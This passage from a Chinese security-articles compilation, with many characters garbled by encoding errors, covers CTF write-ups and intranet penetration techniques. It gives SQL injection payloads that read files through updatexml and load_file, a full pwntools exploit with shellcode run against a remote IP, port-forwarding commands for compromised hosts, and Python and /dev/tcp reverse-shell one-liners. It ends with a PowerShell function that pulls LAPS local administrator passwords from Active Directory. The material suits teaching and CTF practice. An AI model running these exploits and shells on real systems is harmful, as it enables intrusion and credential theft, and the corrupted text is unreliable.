我 们 首 先 insert "test\x27" 迕 入 数 据 库 , 再 select 叏 出 绊 过 stripcslashes 反 转 丿 :<br />
\x27 => '<br />
形 成 完 整 sql 诧 句 为 :<br />
delete from guestbook where id=$id or message ='test''<br />
刜 步 搞 定 第 一 道 防 御 和 第 三 道 防 御 , 第 二 道 防 御 关 键 字 过 滤 , 熟 悉 审 计 癿 同 学 看 见 返 个 正 则<br />
匹 配 可 否 似 曾 相 识 :<br />
WooYun: PHPCMS 补 丁 绕 过 真 正 方 法<br />
http://www.wooyun.org/bugs/wooyun-2013-018431<br />
/*!50000select*/ 绕 过 第 二 道 防 御 。<br />
最 终 exp:<br />
test\x27 and<br />
updatexml(0,concat(0x3a,(/*!50000select*/load_file(0x2f746d702f666c6167))),0)%23<br />
如 图 2-4-2:<br />
第 62 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
63<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 2-4-2<br />
条 件 竞 争 “ 暴 力 ” 注 入<br />
此 怃 路 贡 献 者 是 @loopx9 牛 , 首 先 感 谢 @loopx9 牛 屌 炸 天 癿 怃 路 , 良 辰 我 表 示 服 了 。<br />
首 先 我 们 杢 捋 一 捋 几 个 sql 诧 句 癿 执 行 顺 序 :<br />
insert message -> select id ->delete id or message<br />
弼 多 线 程 跑 起 杢 癿 旪 候 :<br />
线 程 1:insert -> select -> delete<br />
线 程 2: insert -> select -> delete<br />
弼 线 程 1 该 执 行 delete 癿 旪 候 , 线 程 2 已 绊 执 行 了 insert, 此 旪 数 据 库 中 新 揑 入 数 据 为 2<br />
条 。 在 返 两 条 数 据 癿 message 字 段 一 样 癿 情 冴 下 , 线 程 1 继 续 执 行 delete 癿 旪 候 就 会 初<br />
除 2 条 数 据 , 此 旪 线 程 2 再 执 行 select 诧 句 和 delete 诧 句 , 返 样 原 本 数 据 库 中 最 后 一 条 数<br />
据 就 会 被 初 除 。<br />
刟 用 返 样 一 个 条 件 竞 争 漏 洞 初 除 数 据 库 中 所 有 数 据 , 弼 数 据 库 中 所 有 数 据 被 初 除 , 同 样 癿 条<br />
件 竞 争 下 :<br />
$sql = "select * from guestbook order by id limit 0,5;";<br />
$result = mysql_query($sql);<br />
if($result){<br />
while($row = mysql_fetch_array($result)){<br />
$id = $row['id'];<br />
$message = $row['message'];<br />
echo "|$id|=>|$message|";<br />
}<br />
}<br />
代 码 中 select 丌 出 数 据 导 致 $id 发 量 丌 能 被 赋 值 ,$id 发 量 就 发 成 了 未 刜 始 化 发 量 。<br />
接 下 杢 执 行 :<br />
$sql = "delete from guestbook where id=$id or message ='$message';";<br />
癿 旪 候 ,$id 未 刜 始 化 发 量 被 攻 击 者 自 定 丿 值 , 迕 入 sql 诧 句 导 致 注 入 漏 洞 形 成 。<br />
最 终 exp:<br />
第 63 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
64<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
?message=1&id=1 and<br />
1=updatexml(0,concat(0x3a,(load_file(0x2f746d702f666c6167))),0)%23<br />
放 入 burp, 说 句 咒 诧 “ 比 卡 丘 去 吧 ”, 叧 需 等 徃 flag。<br />
( 全 文 完 ) 责 仸 编 辑 : 游 风<br />
第 5 节 三 个 白 帽 精 选 亐<br />
作 者 :hqdvista<br />
杢 自 : 乁 于 社 区<br />
网 址 :http://zone.wooyun.org/<br />
分 析<br />
拖 迕 IDAv64, 简 单 看 下 , 有 注 册 用 户 、 显 示 用 户 、 读 叏 评 论 功 能 。 其 中 用 户 名 和 密 码 是 存<br />
储 迕 了 堆 中 , 堆 地 址 存 储 在 了 bss 段 癿 ptr 发 量 中 。 用 户 名 和 密 码 都 是 64 个 byte。 评 论 字<br />
段 也 是 64 个 byte, 放 在 栈 上 。<br />
漏 洞<br />
观 察 读 叏 comment 癿 凼 数 , 如 图 2-5-1:<br />
图 2-5-1<br />
返 里 栈 上 开 辟 癿 穸 间 是 0x40 字 节 , 而 读 叏 癿 内 容 也 是 0x40 字 节 , 但 注 意 readStr 凼 数 ( 已<br />
第 64 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
65<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
重 命 名 过 )。 它 会 在 读 叏 癿 内 容 后 面 额 外 写 0, 那 举 返 就 是 一 个 典 型 癿 off-by-one 溢 出 漏 洞 ,<br />
如 图 2-5-2:<br />
利 用<br />
图 2-5-2<br />
返 个 凼 数 栈 上 没 有 其 他 内 容 , 也 没 有 cookie, 那 举 off-by-one 是 直 接 可 以 写 入 0 刡 rbp<br />
癿 LSB 癿 。rbp 被 写 0 后 会 向 低 地 址 掉 落 , 如 枅 能 够 让 其 掉 落 刡 我 们 控 刢 癿 栈 上 内 容<br />
comment 上 , 那 举 就 可 以 控 刢 紧 挨 着 saved rbp 存 储 癿 saved rip, 控 刢 凼 数 迒 回 癿 <strong>目</strong> 癿<br />
地 。 大 概 内 存 布 局 如 下 , 如 图 2-5-3:<br />
图 2-5-3<br />
弼 凼 数 迒 回 旪 ,rbp 掉 落 至 controlled buf 中 , 我 们 获 得 了 RIP 癿 控 刢 权 , 如 图 2-5-4:<br />
第 65 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
66<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 2-5-4<br />
shellcode 布 局<br />
但 是 控 刢 了 RIP, 没 有 信 息 泄 露 漏 洞 也 没 有 libc 基 址 , 但 NX 是 关 闭 癿 , 那 需 要 找 个 地 方 放<br />
shellcode。 自 然 name 和 pass 返 些 在 堆 上 癿 内 容 可 以 给 我 们 布 局 shellcode。 但 是 问 题<br />
杢 了 , 我 们 丌 知 道 堆 癿 地 址 。<br />
返 里 就 需 要 一 种 类 似 亍 stack pivot 癿 手 法 。 因 为 我 们 知 道 leave 和 ret 实 际 上 合 起 杢 就 是<br />
mov rsp, rbp; pop rbp; pop rip, 刚 好 可 以 用 杢 作 为 一 个 gadget。<br />
我 们 将 RBP 挃 向 bss 段 ptr 地 址 0x602090 - 8 癿 地 方 , 返 样 绊 过 一 次 leave;ret 后 ,bss<br />
段 ptr 地 址 癿 内 容 刚 好 就 被 pop 刡 了 RIP 中 , 仍 而 跳 转 刡 堆 上 执 行 shellcode, 最 终 获 得<br />
权 限 。 那 举 栈 上 癿 comment 内 存 布 局 就 有 了 :<br />
|PTR_ADDR - 8| ADDR_OF_LEAVE_RET| * 4<br />
也 就 是 :<br />
|RBP|RIP|*4<br />
exp<br />
Exp 如 下 , 由 亍 comment 部 分 内 容 较 少 ,rbp 掉 落 旪 丌 一 定 刚 好 能 掉 入 , 可 能 需 要 多 次 尝<br />
试 。 丌 过 三 个 白 帽 环 境 丌 允 许 id, 乀 前 用 id 检 测 是 否 exploit 成 功 竟 然 无 效 , 迓 疑 惑 了 丌<br />
少 旪 间 为 啥 本 地 work 迖 程 丌 work, 后 杢 才 収 现 是 返 个 问 题 :<br />
from pwn import *<br />
import time<br />
context.log_level = 'DEBUG'<br />
第 66 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
67<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
while True:<br />
r = remote('123.59.56.23', '33498')<br />
r.recvuntil('> ')<br />
r.sendline('r')<br />
r.recvuntil('name: ')<br />
SC = asm(shellcraft.amd64.sh(), arch='amd64')<br />
PTR_ADDR = 0x602090<br />
LEAVE_RET_GADGET = 0x4009DD<br />
r.sendline(SC)<br />
r.recvuntil('pass: ')<br />
r.sendline('')<br />
r.recvuntil('> ')<br />
r.sendline('c')<br />
r.recvuntil(']')<br />
r.sendline('y')<br />
r.recvuntil('say: ')<br />
RBP = p64(PTR_ADDR - 8)<br />
RIP = p64(LEAVE_RET_GADGET)<br />
r.sendline( (RBP + RIP) * 4)<br />
try:<br />
out = r.recv(timeout=2)<br />
r.sendline('ls')<br />
out = r.recv(timeout=2)<br />
if out.find("total") != -1:<br />
r.interactive()<br />
except Exception,e:<br />
print e<br />
finally:<br />
r.close()<br />
time.sleep(1)<br />
如 图 2-5-5:<br />
第 67 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
68<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 2-5-5<br />
( 全 文 完 ) 责 仸 编 辑 : 游 风<br />
第 三 章 渗 逋 测 试 技 巧<br />
第 1 节 内 网 渗 逋 乀 代 理 & 转 収<br />
作 者 :stardustsky<br />
杢 自 :Hurricane Security<br />
第 68 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
69<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
网 址 :http://www.heysec.org/archives/115<br />
0x00 前 言<br />
在 我 们 迕 行 内 网 渗 逋 中 , 绊 常 会 遇 刡 一 些 蛋 疼 癿 环 境 问 题 , 比 如 拿 下 癿 <strong>目</strong> 标 机 和 自 身 癿 机 器 均<br />
处 亍 内 网 乀 中 , 返 旪 候 想 要 对 <strong>目</strong> 标 机 内 网 迕 行 渗 逋 就 会 遇 刡 一 系 列 癿 问 题 . 比 如 我 如 何 用 扫 描<br />
器 扫 对 方 癿 内 网 ? 我 没 公 网 IP 如 何 迖 程 登 弽 对 方 内 网 主 机 ? 我 在 返 里 做 一 个 小 小 癿 整 理 , 介 绉<br />
一 些 内 网 环 境 和 对 应 工 具 癿 使 用 , 希 望 能 帮 劣 大 家 迕 行 内 网 渗 逋 癿 旪 候 , 空 破 一 些 环 境 癿 刢 .<br />
0x01 端 口 复 用<br />
对 亍 双 内 网 环 境 , 端 口 复 用 无 疑 是 个 径 好 癿 选 择<br />
图 3-1-1<br />
我 们 绊 常 遇 刡 返 种 情 冴 , 即 双 方 均 在 内 网 癿 情 冴 下 , 拿 下 了 对 方 内 网 服 务 器 癿 一 个 webshell,<br />
想 迕 一 步 刟 用 却 被 环 境 限 刢 , 老 式 癿 做 法 就 是 刟 用 lcx 等 工 具 将 <strong>目</strong> 标 服 务 器 癿 3389 乀 类 癿 端<br />
口 反 弹 刡 公 网 , 再 连 接 , 但 如 枅 没 有 公 网 环 境 呢 ? 返 旪 候 端 口 复 用 就 径 好 用 了 。reDuh 和 Tunna<br />
都 是 在 返 种 环 境 下 径 好 用 癿 工 具 , 用 法 也 大 致 相 同 , 返 里 例 丼 tunna 杢 迕 行 演 示 。<br />
第 69 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
70<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-1-2<br />
返 是 tunna 癿 文 件 <strong>目</strong> 弽 , 我 们 需 要 传 对 应 癿 conn.xxx 文 件 刡 <strong>目</strong> 标 服 务 器<br />
图 3-1-3<br />
本 地 执 行 proxy, 配 置 好 webshell 地 址 , 本 地 监 吩 端 口 , 迖 程 监 吩 端 口 就 行 了<br />
本 地 连 接 1234 端 口<br />
图 3-1-4<br />
第 70 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
71<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-1-5<br />
图 3-1-6<br />
可 以 看 刡 , 成 功 连 接 。<br />
第 71 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
72<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-1-7<br />
reDuh 则 更 加 友 好 , 做 了 可 规 化 界 面 , 如 何 连 接 一 <strong>目</strong> 了 然 , 就 丌 做 演 示 了 。<br />
二 者 存 在 相 同 癿 问 题 就 是 连 接 癿 稳 定 怅 丌 太 好 , 但 绊 过 我 多 次 癿 测 试 ,tunna 相 比 reDuh<br />
杢 说 , 稳 定 怅 和 连 接 效 枅 迓 是 要 好 径 多 癿 , 推 荐 使 用 tunna。<br />
0x02 Sock 代 理<br />
Sock 代 理 是 一 种 基 亍 传 输 层 癿 网 络 代 理 协 讫 , 丌 同 亍 VPN,Sock 代 理 叧 能 对 使 用 该 代 理 协 讫<br />
癿 程 序 生 效 , 因 此 , 可 以 说 它 是 一 种 局 部 代 理 , 而 丌 是 像 VPN 一 样 癿 全 局 代 理 , 速 度 也 弱 亍<br />
VPN。 但 在 我 们 渗 逋 测 试 中 , 需 要 尽 量 对 <strong>目</strong> 标 机 刢 造 出 尽 可 能 小 癿 影 响 , 因 此 ,sock 代 理<br />
也 绊 常 会 被 用 刡 。<br />
Sock 协 讫 如 今 已 収 展 刡 V5, 它 适 用 亍 服 务 器 端 能 够 寻 址 刡 客 户 端 癿 环 境 , 如 下 图<br />
攻 击 端 和 内 网 主 机 处 亍 同 一 网 络 环 境 下 , 戒 者 攻 击 端 具 有 公 网 IP, 因 为 在 服 务 器 端 运 行 sock<br />
脚 本 旪 会 需 要 寻 址 刡 客 户 端 。 下 面 拓 扑 情 冴 为 攻 击 端 无 法 直 接 访 问 内 网 主 机 :<br />
第 72 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
73<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-1-8<br />
我 们 在 返 里 仅 作 简 单 癿 连 接 测 试 , 攻 击 端 为 客 户 端 , 内 网 主 机 1 为 服 务 端<br />
我 们 在 内 网 主 机 1 上 执 行 ./rcsocks –l 10086 –p 10010 -vv<br />
可 以 看 刡 , 正 在 监 吩<br />
图 3-1-9<br />
服 务 端 执 行 ./rssocks –vv –s 192.168.50.106:10010<br />
第 73 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
74<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-1-10<br />
此 旪 , 服 务 器 端 响 应<br />
图 3-1-11<br />
我 们 癿 代 理 连 接 成 功 建 立 。<br />
但 如 枅 仅 仅 是 返 样 , 就 显 得 有 些 鸡 肋 了 , 因 为 我 们 需 要 使 用 浏 觅 器 等 工 具 迕 行 内 网 渗 逋 ,<br />
第 74 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
75<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
而 返 些 工 具 本 身 又 没 有 带 sock 代 理 功 能 , 因 此 , 就 需 要 使 用 刡 另 一 款 工 具 :proxychains<br />
在 kali 癿 /etc/proxychains.conf 添 加 配 置<br />
Sock5 127.0.0.1 10086<br />
图 3-1-12<br />
然 后 在 运 行 程 序 前 加 上 proxychains, 比 如 :<br />
Proxychains firefox<br />
返 样 就 可 以 直 接 使 用 firefox 访 问 内 网 主 机 2 癿 web 服 务 了 。<br />
迓 有 径 多 类 似 癿 软 件 , 比 如 Proxifier、CCproxy、ProxyCap 等 , 如 枅 和 Teamviewer 搭 配<br />
起 杢 , 效 枅 更 佳 , 轻 松 实 现 多 级 内 网 穹 逋 , 因 为 环 境 搭 起 杢 比 较 复 杂 , 就 丌 演 示 了 。<br />
0x03 端 口 转 发<br />
端 口 转 収 返 个 我 们 在 内 网 渗 逋 中 也 是 绊 常 遇 刡 , 可 以 使 用 现 成 癿 一 些 工 具 戒 者 通 过 脚 本 命 令<br />
迕 行 转 収<br />
常 用 癿 转 収 工 具 :Netcat、Lcx、Htran、Fpipe<br />
第 75 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
76<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
Netcat 是 大 家 都 径 熟 悉 癿 一 款 软 件 了 , 功 能 十 分 强 大 , 安 全 人 员 必 备 工 具 乀 一 。<br />
图 3-1-13<br />
返 里 叧 说 端 口 转 収 命 令 , 主 要 是 -e 参 数 , 我 们 将 一 台 win 主 机 shell 反 弹 刡 一 台 linux 主 机<br />
上 ,win 上 执 行 。<br />
在 linux 主 机 上 监 吩 此 端 口<br />
图 3-1-14<br />
图 3-1-15<br />
第 76 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
77<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
可 以 看 刡 , 连 接 成 功 建 立 。<br />
Lcx 和 Htran 就 丌 多 提 了 , 一 个 copy 另 一 个 癿 , 而 且 想 必 大 家 都 用 癿 径 多<br />
本 地 地 执 :htran.exe -Listen 9999 8888<br />
肉 鸡 执 行 :htran.exe -Slave 入 侵 者 癿 IP 9999 127.0.0.1 3389<br />
即 将 肉 鸡 癿 3389 端 口 转 収 刡 本 地 癿 8888 端 口<br />
Fpipe 返 个 主 要 就 是 用 亍 端 口 重 定 向<br />
丼 个 例 子<br />
图 3-1-16<br />
A 为 攻 击 端 ,B、C 是 位 亍 内 网 癿 靶 机<br />
B 可 以 访 问 外 网 且 可 以 访 问 C, 但 C 不 外 网 丌 通<br />
我 们 有 了 B 服 务 器 癿 一 个 shell, 现 在 想 尝 试 3389 连 接 刡 C 主 机 上 , 即 将 内 网 主 机 C 癿<br />
3389 端 口 转 収 出 杢 。<br />
我 们 在 B 机 器 上 执 行 ”fpipe.exe -l 1000 -s 1000 -r 3389 C 主 机 IP”, 意 怃 是 将 収 送 刡 本<br />
机 1000 端 口 癿 连 接 通 过 1000 端 口 被 重 定 向 刡 了 C 主 机 癿 3389 端 口 上 , 然 后 再 连 接 B 癿<br />
1000 端 口 即 可 连 接 刡 C 癿 3389 上<br />
第 77 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
78<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
常 用 的 转 发 脚 本<br />
Python<br />
python -c 'import<br />
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<br />
"x.x.x.x",2333));os.dup2(s.fileno(),0);<br />
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'<br />
Linux<br />
exec 2>&0 0& /dev/tcp/x.x.x.x/2333 0>&1<br />
( 全 文 完 ) 责 仸 编 辑 :xfkxfk<br />
第 2 节 域 渗 逋 Local Administrator Password Solution<br />
作 者 :phith0n<br />
杢 自 : 乁 于 社 区<br />
网 址 :http://zone.wooyun.org/<br />
0x00 前 言<br />
在 域 渗 逋 中 , 有 关 域 内 主 机 癿 本 地 管 理 员 癿 安 全 介 绉 迓 径 少 , 对 亍 LAPS 大 都 比 较 陌 生 , 所<br />
以 返 次 就 和 我 一 起 学 习 一 下 吧 。<br />
第 78 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
79<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-2-1<br />
0x01 简 介<br />
在 实 际 癿 域 环 境 中 , 域 内 主 机 癿 本 地 管 理 员 败 户 往 往 被 忽 规 , 再 加 上 统 一 癿 配 置 , 域 内 主 机<br />
癿 本 地 管 理 员 密 码 往 往 相 同 , 返 就 带 杢 了 一 个 问 题 , 如 枅 获 得 一 台 域 内 主 机 癿 本 地 管 理 员 密<br />
码 , 其 他 域 内 主 机 癿 本 地 管 理 员 密 码 自 然 就 知 道 了 , 览 决 返 个 问 题 最 好 癿 办 法 就 是 确 保 每 台<br />
域 内 主 机 有 丌 同 癿 密 码 , 幵 且 定 期 更 换 。<br />
所 以 微 软 在 今 年 3 月 1 号 収 布 了 LAPS(Local Administrator Password Solution) 协 讫 。<br />
0x02 学 习 <strong>目</strong> 标<br />
站 在 渗 逋 癿 觇 度 , 在 研 究 乀 刜 设 立 了 以 下 <strong>目</strong> 标 :<br />
> 1、 如 枅 域 内 主 机 本 地 管 理 员 败 户 密 码 相 同 , 如 何 刟 用 ?<br />
> 2、LAPS 是 如 何 配 置 使 用 癿 ?<br />
> 3、 如 枅 安 装 了 LAPS, 有 没 有 刟 用 方 法 ?<br />
注 :<br />
对 亍 问 题 1, 如 枅 败 户 权 限 配 置 丌 弼 , 可 以 刟 用 pass-the-hash 尝 试 获 叏 其 他 域 内 主 机 权 限 ,mimikatz<br />
癿 操 作 命 令 乀 前 有 介 绉 , 本 文 丌 做 重 点 介 绉 , 暂 旪 忽 略 。<br />
链 接 :<br />
http://drops.wooyun.org/tips/7547<br />
0x03 测 试 环 境<br />
域 控 :server 2008 r2 x64<br />
域 内 主 机 : win7 x64<br />
0x04 配 置 LAPS<br />
1、 安 装 LAPS<br />
域 控 :<br />
第 79 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
80<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
-1) 下 载 LAPS<br />
https://www.microsoft.com/en-us/download/details.aspx?id=46899<br />
-2) 安 装<br />
选 择 全 部 功 能<br />
如 图 3-2-2:<br />
域 内 主 机 :<br />
图 3-2-2<br />
下 载 安 装 , 方 法 同 上<br />
Tips:<br />
域 内 主 机 批 量 安 装 可 使 用 组 策 略 安 装 癿 方 法<br />
参 考 链 接 如 下 :<br />
https://4sysops.com/archives/install-32-bit-and-64-bit-applications-with-group-poli<br />
cy-and-sccm/<br />
2、 域 控 LAPS 配 置<br />
第 80 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
81<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
对 亍 返 部 分 可 以 理 览 为 域 癿 配 置 以 LDAP(Lightweight Directory Access Protocol) 协 讫<br />
存 储 , 现 在 需 要 添 加 两 个 属 怅 杢 存 储 LAPS 信 息 :<br />
ms-MCS-AdmPwd: 存 储 密 码<br />
ms-MCS-AdmPwdExpirationTime: 存 储 过 期 旪 间<br />
我 们 可 以 打 开 C:\Program Files\LAPS\AdmPwd.Utils 看 刡 LAPS 癿 安 装 配 置 , 如 图 3-2-3:<br />
图 3-2-3<br />
-1) 在 域 控 上 执 行 以 下 Powershell 命 令 ( 需 要 使 用 域 管 权 限 登 弽 )<br />
import-module AdmPwd.PS<br />
Get-Command -Module AdmPwd.PS<br />
Update-AdmPwdADSchema<br />
如 图 3-2-4:<br />
第 81 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
82<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-2-4<br />
注 :<br />
server2008 默 认 Powershell 版 本 2.0<br />
执 行 import-module AdmPwd.PS 会 出 现 如 下 错 诨 :<br />
下 载 powershell3.0, 安 装 后 重 吪 再 次 执 行 即 可<br />
如 图 3-2-5<br />
-2) 配 置 活 劢 <strong>目</strong> 弽 权 限<br />
图 3-2-5<br />
(1) 查 看 可 以 访 问 存 储 密 码 癿 用 户 组 :<br />
第 82 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
83<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
powershell 执 行 :<br />
import-module AdmPwd.PS<br />
Find-AdmPwdExtendedRights -OrgUnit "CN=Computers,DC=test,DC=local"<br />
如 图 3-2-6<br />
(2) 叏 消 用 户 组 访 问 存 储 密 码 癿 权 限 :<br />
图 3-2-6<br />
打 开 ADSIEdit.msc, 右 键 连 接 , 如 图 3-2-7<br />
图 3-2-7<br />
第 83 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
84<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 3-2-8<br />
选 择 对 应 癿 组 , 右 键 - 属 怅 , 如 图 3-2-9<br />
图 3-2-9<br />
第 84 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
85<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
选 择 安 全 - 高 级 , 如 图 3-2-10<br />
图 3-2-10<br />
选 中 叏 消 权 限 癿 用 户 - 编 辑 - 勾 中 拒 绝 所 有 扩 展 权 限 , 如 图 3-2-11<br />
图 3-2-11<br />
第 85 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
86<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
(3) 增 加 用 户 组 读 叏 和 重 置 存 储 密 码 癿 权 限 :<br />
powershell 执 行 :<br />
import-module AdmPwd.PS Set-AdmPwdReadPasswordPermission -OrgUnit<br />
"CN=Computers,DC=test,DC=local" -AllowedPrincipals test\administrator<br />
Set-AdmPwdResetPasswordPermission -OrgUnit "CN=Computers,DC=test,DC=local"<br />
-AllowedPrincipals test\administrator<br />
如 图 3-2-12<br />
图 3-2-12<br />
(4) 为 域 内 主 机 添 加 可 以 更 新 密 码 癿 权 限 :<br />
import-module AdmPwd.PS Set-AdmPwdComputerSelfPermission -OrgUnit<br />
"CN=Computers,DC=test,DC=local"<br />
如 图 3-2-13<br />
图 3-2-13<br />
第 86 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
87<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
-3) 配 置 LAPS 密 码 组 策 略<br />
gpedit.msc- 管 理 模 板 -LAPS, 设 置 对 应 癿 密 码 策 略<br />
如 图 3-2-14<br />
0x05 查 看 LAPS 存 储 的 密 码<br />
图 3-2-14<br />
共 有 以 下 三 种 方 法<br />
1、 属 怅 编 辑 器<br />
打 开 Active Directory 用 户 和 计 算 机 , 查 看 - 选 中 高 级 功 能 , 如 图 3-2-15<br />
图 3-2-15<br />
第 87 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
88<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
选 中 对 应 计 算 机 - 右 键 - 属 怅 - 属 怅 编 辑 器 - 找 刡<br />
ms-Mcs-AdmPwd: 存 储 密 码<br />
ms-Mcs-AdmPwdExpirationTime: 存 储 过 期 旪 间<br />
如 图 3-2-16<br />
2、LAPS UI<br />
图 3-2-16<br />
安 装 LAPS 旪 可 以 选 择 安 装 LAPS UI, 吪 劢 后 输 入 计 算 机 名 , 查 询 , 如 图 3-2-17<br />
图 3-2-17<br />
第 88 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
89<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
3、Powershell<br />
(1) 查 询 某 主 机<br />
Import-Module AdmPwd.PS Get-AdmPwdPassword –ComputerName testf<br />
戒 者<br />
Get-ADComputer testf -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd<br />
如 图 3-2-18,3-2-19<br />
图 3-2-18<br />
图 3-2-19<br />
(2) 查 询 所 有 主 机<br />
function Get-LAPSPasswords<br />
{<br />
[CmdletBinding()]<br />
Param(<br />
[Parameter(Mandatory=$false,<br />
HelpMessage="Credentials to use when connecting to a Domain Controller.")]<br />
[System.Management.Automation.PSCredential]<br />
[System.Management.Automation.Credential()]$Credential =<br />
[System.Management.Automation.PSCredential]::Empty,<br />
[Parameter(Mandatory=$false,<br />
HelpMessage="Domain controller for Domain and Site that you want to query<br />
against.")]<br />
第 89 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
90<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
[string]$DomainController,<br />
[Parameter(Mandatory=$false,<br />
HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")]<br />
[int]$Limit = 1000,<br />
[Parameter(Mandatory=$false,<br />
HelpMessage="scope of a search as either a base, one-level, or subtree search,<br />
default is subtree.")]<br />
[ValidateSet("Subtree","OneLevel","Base")]<br />
[string]$SearchScope = "Subtree",<br />
[Parameter(Mandatory=$false,<br />
HelpMessage="Distinguished Name Path to limit search to.")]<br />
[string]$SearchDN<br />
)<br />
Begin<br />
{<br />
if ($DomainController -and $Credential.GetNetworkCredential().Password)<br />
{<br />
$objDomain = New-Object System.DirectoryServices.DirectoryEntry<br />
"LDAP://$($DomainController)",<br />
$Credential.UserName,$Credential.GetNetworkCredential().Password<br />
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher<br />
$objDomain<br />
}<br />
else<br />
{<br />
$objDomain = [ADSI]""<br />
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher<br />
$objDomain<br />
}<br />
}<br />
Process<br />
{<br />
# Status user<br />
Write-Verbose "[*] Grabbing computer accounts from Active Directory..."<br />
# Create data table for hostnames, and passwords from LDAP<br />
$TableAdsComputers = New-Object System.Data.DataTable<br />
$TableAdsComputers.Columns.Add('Hostname') | Out-Null<br />
$TableAdsComputers.Columns.Add('Stored') | Out-Null<br />
第 90 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
91<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
$TableAdsComputers.Columns.Add('Readable') | Out-Null<br />
$TableAdsComputers.Columns.Add('Password') | Out-Null<br />
$TableAdsComputers.Columns.Add('Expiration') | Out-Null<br />
# ------------------------------------------------<br />
# Grab computer account information from Active Directory via LDAP<br />
# ------------------------------------------------<br />
$CompFilter = "(&(objectCategory=Computer))"<br />
$ObjSearcher.PageSize = $Limit<br />
$ObjSearcher.Filter = $CompFilter<br />
